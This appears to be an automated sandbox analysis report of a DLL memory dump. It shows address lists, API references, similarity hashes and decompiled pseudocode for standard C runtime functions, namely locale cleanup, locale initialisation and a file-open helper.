0x6e17b860
0x6e17b876
0x00000000
0x00000000
0x6e17b87c
0x6e17b87f
0x6e17b882
0x00000000
0x00000000
0x6e17b88f
0x6e17b892
0x6e17b8b2
0x6e17b8b7
0x6e17b8ba
0x6e17b8bc
0x00000000
0x00000000
0x6e17b8d6
0x6e17b8e6
0x6e17b8eb
0x6e17b8f0
0x00000000
0x00000000
0x6e17b8fa
0x6e17b927
0x6e17b93d
0x6e17b940
0x6e17b945
0x6e17b94a
0x00000000
0x00000000
0x6e17b950
0x6e17b955
0x6e17b95b
0x6e17b95e
0x6e17b961
0x6e17b964
0x6e17b967
0x6e17b96a
0x6e17b971
0x6e17b974
0x6e17b977
0x6e17b979
0x6e17b97f
0x6e17b982
0x6e17b984
0x6e17b9c6
0x6e17b9c8
0x6e17b9d1
0x6e17b9d6
0x6e17b9d9
0x6e17b9e3
0x6e17b9e5
0x6e17b9e8
0x6e17b9ea
0x6e17b9f3
0x6e17b9f5
0x6e17b9f7
0x6e17b9f8
0x6e17ba03
0x6e17ba08
0x6e17ba0c
0x6e17ba1a
0x6e17ba2d
0x6e17ba3b
0x6e17ba46
0x6e17ba4b
0x6e17ba0c
0x6e17ba4e
0x6e17ba51
0x6e17ba57
0x6e17ba60
0x6e17ba65
0x6e17ba6e
0x6e17ba77
0x6e17ba80
0x6e17baab
0x6e17baae
0x00000000
0x6e17b98b
0x6e17b98b
0x6e17b98e
0x6e17b98e
0x6e17b992
0x00000000
0x00000000
0x6e17b994
0x6e17b99d
0x6e17b9bb
0x6e17b9bb
0x6e17b9c1
0x00000000
0x00000000
0x00000000
0x6e17b9c1
0x6e17b9a5
0x6e17b9a8
0x6e17b9ad
0x6e17b9ae
0x6e17b9b1
0x6e17b9b7
0x00000000
0x6e17b9a8
0x00000000
0x6e17b9c3
0x6e17b901
0x6e17b901
0x6e17b904
0x6e17b904
0x6e17b908
0x00000000
0x00000000
0x6e17b90a
0x6e17b90e
0x6e17b91b
0x6e17b913
0x6e17b917
0x6e17b917
0x6e17b918
0x6e17b918
0x6e17b91f
0x6e17b922
0x6e17b925
0x00000000
0x00000000
0x00000000
0x6e17b925
0x00000000
0x6e17b904
0x6e17b8fa
0x6e17b831
0x6e17b7ae
0x6e17b7af
0x6e17b7b4
0x6e17b7b8
0x6e17b7b9
0x6e17b7ba
0x6e17b7bf
0x6e17b7c4
0x00000000
0x00000000
0x00000000

APIs

_free.LIBCMT ref: 6E17B7D7
_free.LIBCMT ref: 6E17B7ED
_free.LIBCMT ref: 6E17B7FE
_free.LIBCMT ref: 6E17B80F
_free.LIBCMT ref: 6E17B826
GetCPInfo.KERNEL32(?,?), ref: 6E17B86E

Part of subcall function 6E185ACA: _free.LIBCMT ref: 6E185B35

_free.LIBCMT ref: 6E17BA1A
_free.LIBCMT ref: 6E17BA2D
_free.LIBCMT ref: 6E17BA3B
_free.LIBCMT ref: 6E17BA46
_free.LIBCMT ref: 6E17BA88
_free.LIBCMT ref: 6E17BA90
_free.LIBCMT ref: 6E17BA98
_free.LIBCMT ref: 6E17BAA0
_free.LIBCMT ref: 6E17BAAE

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$Info
String ID:
API String ID: 2509303402-0
Opcode ID: e700e890fc22783fb6a261181fdd887f98bb80b83c78d9d3c9ad21bb959d730a
Instruction ID: 7a8e7aa596965d02e506d35129134c48c806945fb80beb2087cd00cb89b0f9fe
Opcode Fuzzy Hash: e700e890fc22783fb6a261181fdd887f98bb80b83c78d9d3c9ad21bb959d730a
Instruction Fuzzy Hash: 44B190719002469FDF21CFA8C894FEEBBF9FF08704F204469E9A5A7241D7759C81AB60

Uniqueness

Uniqueness Score: -1.00%

Function 6E18979C, Relevance: 19.6, APIs: 13, Instructions: 114
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6E18979C(intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _t25;
				intOrPtr* _t26;
				intOrPtr _t28;
				intOrPtr* _t29;
				intOrPtr* _t31;
				intOrPtr* _t45;
				intOrPtr* _t46;
				intOrPtr* _t47;
				intOrPtr* _t55;
				intOrPtr* _t70;
				intOrPtr _t74;

				_t74 = _a4;
				_t2 = _t74 + 0x88; // 0xb000a12f
				_t25 =  *_t2;
				if(_t25 != 0 && _t25 != 0x6e1bb1a8) {
					_t3 = _t74 + 0x7c; // 0xb0d80d89
					_t45 =  *_t3;
					if(_t45 != 0 &&  *_t45 == 0) {
						_t4 = _t74 + 0x84; // 0x6e1bb0d0
						_t46 =  *_t4;
						if(_t46 != 0 &&  *_t46 == 0) {
							E6E17FBB2(_t46);
							_t5 = _t74 + 0x88; // 0xb000a12f
							E6E18AF90( *_t5);
						}
						_t6 = _t74 + 0x80; // 0x156b6e1b
						_t47 =  *_t6;
						if(_t47 != 0 &&  *_t47 == 0) {
							E6E17FBB2(_t47);
							_t7 = _t74 + 0x88; // 0xb000a12f
							E6E18B44A( *_t7);
						}
						_t8 = _t74 + 0x7c; // 0xb0d80d89
						E6E17FBB2( *_t8);
						_t9 = _t74 + 0x88; // 0xb000a12f
						E6E17FBB2( *_t9);
					}
				}
				_t10 = _t74 + 0x8c; // 0xc22b6e1b
				_t26 =  *_t10;
				if(_t26 != 0 &&  *_t26 == 0) {
					_t11 = _t74 + 0x90; // 0x1bb0d8a3
					E6E17FBB2( *_t11 - 0xfe);
					_t12 = _t74 + 0x94; // 0xd00d8b6e
					E6E17FBB2( *_t12 - 0x80);
					_t13 = _t74 + 0x98; // 0x836e1bb0
					E6E17FBB2( *_t13 - 0x80);
					_t14 = _t74 + 0x8c; // 0xc22b6e1b
					E6E17FBB2( *_t14);
				}
				_t15 = _t74 + 0x9c; // 0xd2b48e9
				E6E18990F( *_t15);
				_t28 = 6;
				_t16 = _t74 + 0xa0; // 0x6e167464
				_t55 = _t16;
				_v8 = _t28;
				_t18 = _t74 + 0x28; // 0x6e1673ec
				_t70 = _t18;
				do {
					if( *((intOrPtr*)(_t70 - 8)) != 0x6e1bb3a0) {
						_t31 =  *_t70;
						if(_t31 != 0 &&  *_t31 == 0) {
							E6E17FBB2(_t31);
							E6E17FBB2( *_t55);
						}
						_t28 = _v8;
					}
					if( *((intOrPtr*)(_t70 - 0xc)) != 0) {
						_t22 = _t70 - 4; // 0xfc4d8be8
						_t29 =  *_t22;
						if(_t29 != 0 &&  *_t29 == 0) {
							E6E17FBB2(_t29);
						}
						_t28 = _v8;
					}
					_t55 = _t55 + 4;
					_t70 = _t70 + 0x10;
					_t28 = _t28 - 1;
					_v8 = _t28;
				} while (_t28 != 0);
				return E6E17FBB2(_t74);
			}

0x6e1897a4
0x6e1897a8
0x6e1897a8
0x6e1897b0
0x6e1897b9
0x6e1897b9
0x6e1897be
0x6e1897c5
0x6e1897c5
0x6e1897cd
0x6e1897d5
0x6e1897da
0x6e1897e0
0x6e1897e6
0x6e1897e7
0x6e1897e7
0x6e1897ef
0x6e1897f7
0x6e1897fc
0x6e189802
0x6e189808
0x6e189809
0x6e18980c
0x6e189811
0x6e189817
0x6e18981d
0x6e1897be
0x6e18981e
0x6e18981e
0x6e189826
0x6e18982d
0x6e189839
0x6e18983e
0x6e18984c
0x6e189851
0x6e18985a
0x6e18985f
0x6e189865
0x6e18986a
0x6e18986d
0x6e189873
0x6e18987b
0x6e18987c
0x6e18987c
0x6e189882
0x6e189885
0x6e189885
0x6e189888
0x6e18988f
0x6e189891
0x6e189895
0x6e18989d
0x6e1898a4
0x6e1898aa
0x6e1898ab
0x6e1898ab
0x6e1898b2
0x6e1898b4
0x6e1898b4
0x6e1898b9
0x6e1898c1
0x6e1898c6
0x6e1898c7
0x6e1898c7
0x6e1898ca
0x6e1898cd
0x6e1898d0
0x6e1898d3
0x6e1898d3
0x6e1898e5

APIs

___free_lconv_mon.LIBCMT ref: 6E1897E0

Part of subcall function 6E18AF90: _free.LIBCMT ref: 6E18AFAD
Part of subcall function 6E18AF90: _free.LIBCMT ref: 6E18AFBF
Part of subcall function 6E18AF90: _free.LIBCMT ref: 6E18AFD1
Part of subcall function 6E18AF90: _free.LIBCMT ref: 6E18AFE3
Part of subcall function 6E18AF90: _free.LIBCMT ref: 6E18AFF5
Part of subcall function 6E18AF90: _free.LIBCMT ref: 6E18B007
Part of subcall function 6E18AF90: _free.LIBCMT ref: 6E18B019
Part of subcall function 6E18AF90: _free.LIBCMT ref: 6E18B02B
Part of subcall function 6E18AF90: _free.LIBCMT ref: 6E18B03D
Part of subcall function 6E18AF90: _free.LIBCMT ref: 6E18B04F
Part of subcall function 6E18AF90: _free.LIBCMT ref: 6E18B061
Part of subcall function 6E18AF90: _free.LIBCMT ref: 6E18B073
Part of subcall function 6E18AF90: _free.LIBCMT ref: 6E18B085

_free.LIBCMT ref: 6E1897D5

Part of subcall function 6E17FBB2: HeapFree.KERNEL32(00000000,00000000,?,6E18B6FD,6E1673C4,00000000,6E1673C4,00000000,?,6E18B9A1,6E1673C4,00000007,6E1673C4,?,6E189934,6E1673C4), ref: 6E17FBC8
Part of subcall function 6E17FBB2: GetLastError.KERNEL32(6E1673C4,?,6E18B6FD,6E1673C4,00000000,6E1673C4,00000000,?,6E18B9A1,6E1673C4,00000007,6E1673C4,?,6E189934,6E1673C4,6E1673C4), ref: 6E17FBDA

_free.LIBCMT ref: 6E1897F7
_free.LIBCMT ref: 6E18980C
_free.LIBCMT ref: 6E189817
_free.LIBCMT ref: 6E189839
_free.LIBCMT ref: 6E18984C
_free.LIBCMT ref: 6E18985A
_free.LIBCMT ref: 6E189865
_free.LIBCMT ref: 6E18989D
_free.LIBCMT ref: 6E1898A4
_free.LIBCMT ref: 6E1898C1
_free.LIBCMT ref: 6E1898D9

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 99ce34c199e03c8f5add70bcb98adb8624b9ad864c4c3879cad017f0d02054bb
Instruction ID: c6efe81f9d31ea7138e8226f68869f66c377ca44dcb963e6a0478b89a77de90b
Opcode Fuzzy Hash: 99ce34c199e03c8f5add70bcb98adb8624b9ad864c4c3879cad017f0d02054bb
Instruction Fuzzy Hash: C4316D3260464A9FEB718EB8D860B9B77F8FF15714F308869E469D7150DB35A8C0AF20

Uniqueness

Uniqueness Score: -1.00%

Function 6E18B08E, Relevance: 18.4, APIs: 12, Instructions: 376
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E6E18B08E(void* __edx, char _a4) {
				void* _v8;
				void* _v12;
				signed int _v16;
				intOrPtr* _v20;
				signed int _v24;
				char _v28;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t105;
				char _t195;
				char _t210;
				signed int _t213;
				void* _t224;
				char* _t226;
				signed int _t227;
				signed int _t231;
				signed int _t232;
				intOrPtr _t233;
				void* _t234;
				void* _t236;
				signed int _t237;
				signed int _t238;
				signed int _t239;
				signed int _t240;
				signed int _t241;
				signed int _t242;
				signed int _t243;
				signed int _t244;
				signed int _t245;
				signed int _t246;
				signed int _t247;
				signed int _t248;
				signed int _t249;
				signed int _t250;
				signed int _t251;
				signed int _t252;
				signed int _t253;
				signed int _t254;
				signed int _t255;
				signed int _t256;
				char* _t257;

				_t224 = __edx;
				_t210 = _a4;
				_v16 = 0;
				_v28 = _t210;
				_v24 = 0;
				if( *((intOrPtr*)(_t210 + 0xac)) != 0 ||  *((intOrPtr*)(_t210 + 0xb0)) != 0) {
					_t234 = E6E17FB55(0, 1, 0x50);
					_v8 = _t234;
					E6E17FBB2(0);
					if(_t234 != 0) {
						_t227 = E6E17FB55(0, 1, 4);
						_v12 = _t227;
						E6E17FBB2(0);
						if(_t227 != 0) {
							if( *((intOrPtr*)(_t210 + 0xac)) == 0) {
								_t213 = 0x14;
								memcpy(_v8, 0x6e1bb1a8, _t213 << 2);
								L25:
								_t236 = _v8;
								_t231 = _v16;
								 *_t236 =  *( *(_t210 + 0x88));
								 *((intOrPtr*)(_t236 + 4)) =  *((intOrPtr*)( *(_t210 + 0x88) + 4));
								 *((intOrPtr*)(_t236 + 8)) =  *((intOrPtr*)( *(_t210 + 0x88) + 8));
								 *((intOrPtr*)(_t236 + 0x30)) =  *((intOrPtr*)( *(_t210 + 0x88) + 0x30));
								 *((intOrPtr*)(_t236 + 0x34)) =  *((intOrPtr*)( *(_t210 + 0x88) + 0x34));
								 *_v12 = 1;
								if(_t231 != 0) {
									 *_t231 = 1;
								}
								goto L27;
							}
							_t232 = E6E17FB55(0, 1, 4);
							_v16 = _t232;
							E6E17FBB2(0);
							if(_t232 != 0) {
								_t233 =  *((intOrPtr*)(_t210 + 0xac));
								_t14 = _t234 + 0xc; // 0xc
								_t237 = E6E185ACA(_t210, _t224, _t233, _t234);
								_t238 = _t237 | E6E185ACA(_t210, _t224, _t233, _t237,  &_v28, 1, _t233, 0x14, _v8 + 0x10,  &_v28);
								_t239 = _t238 | E6E185ACA(_t210, _t224, _t233, _t238,  &_v28, 1, _t233, 0x16, _v8 + 0x14, 1);
								_t240 = _t239 | E6E185ACA(_t210, _t224, _t233, _t239,  &_v28, 1, _t233, 0x17, _v8 + 0x18, _t233);
								_v20 = _v8 + 0x1c;
								_t241 = _t240 | E6E185ACA(_t210, _t224, _t233, _t240,  &_v28, 1, _t233, 0x18, _v8 + 0x1c, 0x15);
								_t242 = _t241 | E6E185ACA(_t210, _t224, _t233, _t241,  &_v28, 1, _t233, 0x50, _v8 + 0x20, _t14);
								_t243 = _t242 | E6E185ACA(_t210, _t224, _t233, _t242);
								_t244 = _t243 | E6E185ACA(_t210, _t224, _t233, _t243,  &_v28, 0, _t233, 0x1a, _v8 + 0x28,  &_v28);
								_t245 = _t244 | E6E185ACA(_t210, _t224, _t233, _t244,  &_v28, 0, _t233, 0x19, _v8 + 0x29, 1);
								_t246 = _t245 | E6E185ACA(_t210, _t224, _t233, _t245,  &_v28, 0, _t233, 0x54, _v8 + 0x2a, _t233);
								_t247 = _t246 | E6E185ACA(_t210, _t224, _t233, _t246,  &_v28, 0, _t233, 0x55, _v8 + 0x2b, 0x51);
								_t248 = _t247 | E6E185ACA(_t210, _t224, _t233, _t247,  &_v28, 0, _t233, 0x56, _v8 + 0x2c, _v8 + 0x24);
								_t249 = _t248 | E6E185ACA(_t210, _t224, _t233, _t248);
								_t250 = _t249 | E6E185ACA(_t210, _t224, _t233, _t249,  &_v28, 0, _t233, 0x52, _v8 + 0x2e,  &_v28);
								_t251 = _t250 | E6E185ACA(_t210, _t224, _t233, _t250,  &_v28, 0, _t233, 0x53, _v8 + 0x2f, 0);
								_t252 = _t251 | E6E185ACA(_t210, _t224, _t233, _t251,  &_v28, 2, _t233, 0x15, _v8 + 0x38, _t233);
								_t253 = _t252 | E6E185ACA(_t210, _t224, _t233, _t252,  &_v28, 2, _t233, 0x14, _v8 + 0x3c, 0x57);
								_t254 = _t253 | E6E185ACA(_t210, _t224, _t233, _t253,  &_v28, 2, _t233, 0x16, _v8 + 0x40, _v8 + 0x2d);
								_push(_v8 + 0x44);
								_push(0x17);
								_push(_t233);
								_t255 = _t254 | E6E185ACA(_t210, _t224, _t233, _t254);
								_t256 = _t255 | E6E185ACA(_t210, _t224, _t233, _t255,  &_v28, 2, _t233, 0x50, _v8 + 0x48,  &_v28);
								if((E6E185ACA(_t210, _t224, _t233, _t256,  &_v28, 2, _t233, 0x51, _v8 + 0x4c, 2) | _t256) == 0) {
									_t226 =  *_v20;
									while( *_t226 != 0) {
										_t195 =  *_t226;
										if(_t195 < 0x30 || _t195 > 0x39) {
											if(_t195 != 0x3b) {
												goto L17;
											}
											_t257 = _t226;
											do {
												 *_t257 =  *((intOrPtr*)(_t257 + 1));
												_t257 = _t257 + 1;
											} while ( *_t257 != 0);
										} else {
											 *_t226 = _t195 - 0x30;
											L17:
											_t226 = _t226 + 1;
										}
									}
									goto L25;
								}
								E6E18AF90(_v8);
								E6E17FBB2(_v8);
								E6E17FBB2(_v12);
								E6E17FBB2(_v16);
								goto L4;
							}
							E6E17FBB2(_t234);
							E6E17FBB2(_v12);
							L7:
							goto L4;
						}
						E6E17FBB2(_t234);
						goto L7;
					}
					L4:
					return 1;
				} else {
					_t231 = 0;
					_v12 = 0;
					_t236 = 0x6e1bb1a8;
					L27:
					_t105 =  *(_t210 + 0x84);
					if(_t105 != 0) {
						asm("lock dec dword [eax]");
					}
					if( *((intOrPtr*)(_t210 + 0x7c)) != 0) {
						asm("lock xadd [ecx], eax");
						if((_t105 | 0xffffffff) == 0) {
							E6E17FBB2( *(_t210 + 0x88));
							E6E17FBB2( *((intOrPtr*)(_t210 + 0x7c)));
						}
					}
					 *((intOrPtr*)(_t210 + 0x7c)) = _v12;
					 *(_t210 + 0x84) = _t231;
					 *(_t210 + 0x88) = _t236;
					return 0;
				}
			}

0x6e18b08e
0x6e18b097
0x6e18b09e
0x6e18b0a1
0x6e18b0a4
0x6e18b0ad
0x6e18b0cf
0x6e18b0d3
0x6e18b0d6
0x6e18b0e0
0x6e18b0f3
0x6e18b0f7
0x6e18b0fa
0x6e18b104
0x6e18b116
0x6e18b3ac
0x6e18b3ad
0x6e18b3af
0x6e18b3b7
0x6e18b3bb
0x6e18b3c0
0x6e18b3cb
0x6e18b3d7
0x6e18b3e3
0x6e18b3ef
0x6e18b3f5
0x6e18b3f9
0x6e18b3fb
0x6e18b3fb
0x00000000
0x6e18b3f9
0x6e18b125
0x6e18b129
0x6e18b12c
0x6e18b136
0x6e18b14a
0x6e18b150
0x6e18b165
0x6e18b179
0x6e18b190
0x6e18b1aa
0x6e18b1b2
0x6e18b1c4
0x6e18b1db
0x6e18b1f2
0x6e18b20c
0x6e18b223
0x6e18b23a
0x6e18b251
0x6e18b26b
0x6e18b282
0x6e18b299
0x6e18b2b0
0x6e18b2ca
0x6e18b2e1
0x6e18b2f8
0x6e18b300
0x6e18b301
0x6e18b303
0x6e18b30f
0x6e18b329
0x6e18b345
0x6e18b373
0x6e18b386
0x6e18b377
0x6e18b37b
0x6e18b38f
0x00000000
0x00000000
0x6e18b391
0x6e18b393
0x6e18b396
0x6e18b398
0x6e18b39b
0x6e18b381
0x6e18b383
0x6e18b385
0x6e18b385
0x6e18b385
0x6e18b37b
0x00000000
0x6e18b38b
0x6e18b34b
0x6e18b351
0x6e18b35a
0x6e18b363
0x00000000
0x6e18b368
0x6e18b139
0x6e18b142
0x6e18b10c
0x00000000
0x6e18b10c
0x6e18b107
0x00000000
0x6e18b107
0x6e18b0e2
0x00000000
0x6e18b0b7
0x6e18b0b7
0x6e18b0b9
0x6e18b0bc
0x6e18b3fd
0x6e18b3fd
0x6e18b405
0x6e18b407
0x6e18b407
0x6e18b40f
0x6e18b414
0x6e18b418
0x6e18b420
0x6e18b428
0x6e18b42e
0x6e18b418
0x6e18b432
0x6e18b437
0x6e18b43d
0x00000000
0x6e18b43d

APIs

_free.LIBCMT ref: 6E18B0D6
_free.LIBCMT ref: 6E18B0FA
_free.LIBCMT ref: 6E18B107
_free.LIBCMT ref: 6E18B12C
_free.LIBCMT ref: 6E18B139
_free.LIBCMT ref: 6E18B142
_free.LIBCMT ref: 6E18B420
_free.LIBCMT ref: 6E18B428

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 8af96cb589fd97ee9397c8753d0dce433bc5c0b0405cc93c4d68dec97213afcb
Instruction ID: 614db20892190f26b466a1aae7f603934f40e05e07a52b98f12a97d1aaa6b26b
Opcode Fuzzy Hash: 8af96cb589fd97ee9397c8753d0dce433bc5c0b0405cc93c4d68dec97213afcb
Instruction Fuzzy Hash: 15C12F76E40209AFDB20CAE8CC82FEF77BCEB09704F144565FA55EB285D6709D819B60

Uniqueness

Uniqueness Score: -1.00%

Function 6E17B102, Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E6E17B102(void* __ecx, void* __edx, intOrPtr* _a4, signed int* _a8, intOrPtr _a12, signed int _a16, intOrPtr _a20, intOrPtr _a24) {
				signed int _v5;
				char _v6;
				void* _v12;
				signed int _v16;
				signed int _v20;
				char _v24;
				intOrPtr _v36;
				signed int _v44;
				void _v48;
				char _v72;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t114;
				signed int _t123;
				signed char _t124;
				signed int _t134;
				intOrPtr _t164;
				intOrPtr _t180;
				signed int* _t190;
				signed int _t192;
				char _t197;
				signed int _t203;
				signed int _t206;
				signed int _t215;
				signed int _t217;
				signed int _t219;
				signed int _t225;
				signed int _t227;
				signed int _t234;
				signed int _t235;
				signed int _t237;
				signed int _t239;
				void* _t240;
				signed char _t243;
				intOrPtr _t246;
				void* _t249;
				void* _t253;
				void* _t263;
				signed int _t264;
				signed int _t267;
				signed int _t270;
				signed int _t271;
				void* _t273;
				void* _t275;
				void* _t276;
				void* _t278;
				void* _t279;
				void* _t281;
				void* _t285;

				_t240 = __edx;
				_t263 = E6E17AE5A(__ecx,  &_v72, _a16, _a20, _a24);
				_t192 = 6;
				memcpy( &_v48, _t263, _t192 << 2);
				_t275 = _t273 + 0x1c;
				_t249 = _t263 + _t192 + _t192;
				_t264 = _t263 | 0xffffffff;
				if(_v36 != _t264) {
					_t114 = E6E183FAB(0, _t240, _t249, _t264, __eflags);
					_t190 = _a8;
					 *_t190 = _t114;
					__eflags = _t114 - _t264;
					if(_t114 != _t264) {
						_v20 = _v20 & 0x00000000;
						_v24 = 0xc;
						_t276 = _t275 - 0x18;
						 *_a4 = 1;
						_push(6);
						_v16 =  !(_a16 >> 7) & 1;
						_push( &_v24);
						_push(_a12);
						memcpy(_t276,  &_v48, 1 << 2);
						_t197 = 0;
						_t253 = E6E17ADC5();
						_t278 = _t276 + 0x2c;
						_v12 = _t253;
						__eflags = _t253 - 0xffffffff;
						if(_t253 != 0xffffffff) {
							L11:
							_t123 = GetFileType(_t253);
							__eflags = _t123;
							if(_t123 != 0) {
								__eflags = _t123 - 2;
								if(_t123 != 2) {
									__eflags = _t123 - 3;
									_t124 = _v48;
									if(_t123 == 3) {
										_t124 = _t124 | 0x00000008;
										__eflags = _t124;
									}
								} else {
									_t124 = _v48 | 0x00000040;
								}
								_v5 = _t124;
								E6E183EF4(_t197,  *_t190, _t253);
								_t243 = _v5 | 0x00000001;
								_v5 = _t243;
								_v48 = _t243;
								 *( *((intOrPtr*)(0x6e2536b0 + ( *_t190 >> 6) * 4)) + 0x28 + ( *_t190 & 0x0000003f) * 0x30) = _t243;
								_t203 =  *_t190;
								_t205 = (_t203 & 0x0000003f) * 0x30;
								__eflags = _a16 & 0x00000002;
								 *((char*)( *((intOrPtr*)(0x6e2536b0 + (_t203 >> 6) * 4)) + 0x29 + (_t203 & 0x0000003f) * 0x30)) = 0;
								if((_a16 & 0x00000002) == 0) {
									L20:
									_v6 = 0;
									_push( &_v6);
									_push(_a16);
									_t279 = _t278 - 0x18;
									_t206 = 6;
									_push( *_t190);
									memcpy(_t279,  &_v48, _t206 << 2);
									_t134 = E6E17AB78(_t190,  &_v48 + _t206 + _t206,  &_v48);
									_t281 = _t279 + 0x30;
									__eflags = _t134;
									if(__eflags == 0) {
										 *((char*)( *((intOrPtr*)(0x6e2536b0 + ( *_t190 >> 6) * 4)) + 0x29 + ( *_t190 & 0x0000003f) * 0x30)) = _v6;
										 *( *((intOrPtr*)(0x6e2536b0 + ( *_t190 >> 6) * 4)) + 0x2d + ( *_t190 & 0x0000003f) * 0x30) =  *( *((intOrPtr*)(0x6e2536b0 + ( *_t190 >> 6) * 4)) + 0x2d + ( *_t190 & 0x0000003f) * 0x30) ^ (_a16 >> 0x00000010 ^  *( *((intOrPtr*)(0x6e2536b0 + ( *_t190 >> 6) * 4)) + 0x2d + ( *_t190 & 0x0000003f) * 0x30)) & 0x00000001;
										__eflags = _v5 & 0x00000048;
										if((_v5 & 0x00000048) == 0) {
											__eflags = _a16 & 0x00000008;
											if((_a16 & 0x00000008) != 0) {
												_t225 =  *_t190;
												_t227 = (_t225 & 0x0000003f) * 0x30;
												_t164 =  *((intOrPtr*)(0x6e2536b0 + (_t225 >> 6) * 4));
												_t87 = _t164 + _t227 + 0x28;
												 *_t87 =  *(_t164 + _t227 + 0x28) | 0x00000020;
												__eflags =  *_t87;
											}
										}
										_t267 = _v44;
										__eflags = (_t267 & 0xc0000000) - 0xc0000000;
										if((_t267 & 0xc0000000) != 0xc0000000) {
											L31:
											__eflags = 0;
											return 0;
										} else {
											__eflags = _a16 & 0x00000001;
											if((_a16 & 0x00000001) == 0) {
												goto L31;
											}
											CloseHandle(_v12);
											_v44 = _t267 & 0x7fffffff;
											_t215 = 6;
											_push( &_v24);
											_push(_a12);
											memcpy(_t281 - 0x18,  &_v48, _t215 << 2);
											_t246 = E6E17ADC5();
											__eflags = _t246 - 0xffffffff;
											if(_t246 != 0xffffffff) {
												_t217 =  *_t190;
												_t219 = (_t217 & 0x0000003f) * 0x30;
												__eflags = _t219;
												 *((intOrPtr*)( *((intOrPtr*)(0x6e2536b0 + (_t217 >> 6) * 4)) + _t219 + 0x18)) = _t246;
												goto L31;
											}
											E6E17BB48(GetLastError());
											 *( *((intOrPtr*)(0x6e2536b0 + ( *_t190 >> 6) * 4)) + 0x28 + ( *_t190 & 0x0000003f) * 0x30) =  *( *((intOrPtr*)(0x6e2536b0 + ( *_t190 >> 6) * 4)) + 0x28 + ( *_t190 & 0x0000003f) * 0x30) & 0x000000fe;
											E6E1840BD( *_t190);
											L10:
											goto L2;
										}
									}
									_t270 = _t134;
									goto L22;
								} else {
									_t270 = E6E17AFD6(_t205,  *_t190);
									__eflags = _t270;
									if(__eflags != 0) {
										L22:
										E6E17A9DC(__eflags,  *_t190);
										return _t270;
									}
									goto L20;
								}
							}
							_t271 = GetLastError();
							E6E17BB48(_t271);
							 *( *((intOrPtr*)(0x6e2536b0 + ( *_t190 >> 6) * 4)) + 0x28 + ( *_t190 & 0x0000003f) * 0x30) =  *( *((intOrPtr*)(0x6e2536b0 + ( *_t190 >> 6) * 4)) + 0x28 + ( *_t190 & 0x0000003f) * 0x30) & 0x000000fe;
							CloseHandle(_t253);
							__eflags = _t271;
							if(_t271 == 0) {
								 *((intOrPtr*)(E6E17BB7E())) = 0xd;
							}
							goto L2;
						}
						_t234 = _v44;
						__eflags = (_t234 & 0xc0000000) - 0xc0000000;
						if((_t234 & 0xc0000000) != 0xc0000000) {
							L9:
							_t235 =  *_t190;
							_t237 = (_t235 & 0x0000003f) * 0x30;
							_t180 =  *((intOrPtr*)(0x6e2536b0 + (_t235 >> 6) * 4));
							_t33 = _t180 + _t237 + 0x28;
							 *_t33 =  *(_t180 + _t237 + 0x28) & 0x000000fe;
							__eflags =  *_t33;
							E6E17BB48(GetLastError());
							goto L10;
						}
						__eflags = _a16 & 0x00000001;
						if((_a16 & 0x00000001) == 0) {
							goto L9;
						}
						_t285 = _t278 - 0x18;
						_v44 = _t234 & 0x7fffffff;
						_t239 = 6;
						_push( &_v24);
						_push(_a12);
						memcpy(_t285,  &_v48, _t239 << 2);
						_t197 = 0;
						_t253 = E6E17ADC5();
						_t278 = _t285 + 0x2c;
						_v12 = _t253;
						__eflags = _t253 - 0xffffffff;
						if(_t253 != 0xffffffff) {
							goto L11;
						}
						goto L9;
					} else {
						 *(E6E17BB6B()) =  *_t186 & 0x00000000;
						 *_t190 = _t264;
						 *((intOrPtr*)(E6E17BB7E())) = 0x18;
						goto L2;
					}
				} else {
					 *(E6E17BB6B()) =  *_t188 & 0x00000000;
					 *_a8 = _t264;
					L2:
					return  *((intOrPtr*)(E6E17BB7E()));
				}
			}

0x6e17b102
0x6e17b125
0x6e17b129
0x6e17b12a
0x6e17b12a
0x6e17b12a
0x6e17b12c
0x6e17b132
0x6e17b14d
0x6e17b152
0x6e17b155
0x6e17b157
0x6e17b159
0x6e17b178
0x6e17b17f
0x6e17b186
0x6e17b189
0x6e17b195
0x6e17b198
0x6e17b1a0
0x6e17b1a1
0x6e17b1a4
0x6e17b1a4
0x6e17b1ab
0x6e17b1ad
0x6e17b1b0
